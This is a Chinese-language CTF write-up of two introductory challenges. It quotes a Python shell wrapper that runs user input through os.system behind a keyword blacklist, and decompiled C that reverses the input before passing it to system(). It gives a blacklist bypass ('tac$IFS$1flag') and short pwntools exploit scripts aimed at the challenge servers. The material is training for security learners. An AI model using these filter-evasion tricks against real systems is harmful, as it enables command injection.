[SWPUCTF 2021 新生赛]nc签到
打开附件里面内容
import os
art = '''
(( "####@@!!$$ ))
`#####@@!$$` ))
(( '####@!!$:
(( ,####@!!$: ))
.###@!!$:
`##@@!$:
`#@!!$
!@# `#@!$: @#$
#$ `#@!$: !@!
'@!$:
'`\ "!$: /`'
'\ '!: /'
"\ : /"
-."-/\\\-."//.-"/:`\."-.JrS"."-=_\\
" -."-.\\"-."//.-".`-."_\\-.".-\".-//'''
print(art)
print("My_shell_ProVersion")
blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']
while True:
command = input()
for i in blacklist:
if i in command:
exit(0)
os.system(command)
blacklist是黑名单的意思
也就是说里面的内容都被禁了,所以我们需要绕过
cat可以用tac来代替
空格' ' 可以用 $IFS$1 代替,也就是tac$IFS$1flag
编写exp
from pwn import*
p = remote('node4.anna.nssctf.cn',28808)
data = p.recv()
p.sendline('tac$IFS$1flag')
p.interactive()
[NISACTF 2022]ReorPwn?
查看一下附件
checksec 1
64位的,ok
找到main函数,F5
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("evcexe ot tnaw uoy tahw em lleT:");
gets(a);
fun(a);
system(a);
return 0;
}
evcexe ot tnaw uoy tahw em lleT
Tell me what you want to execve
告诉我你想要执行什么
双击fun
双击system
分析一下程序,用户的输入被存到了变量a中,a经过fun函数后,传入system函数执行,也就是说,command就是a,也就是用户的输入。
直接galf tac得到flag
编写exp
from pwn import*
p = remote("node4.anna.nssctf.cn",28447)
p.sendline('galf tac')
p.interactive()
NSSCTF{ee0c2423-7c37-4e3a-a969-430fbaf645d2}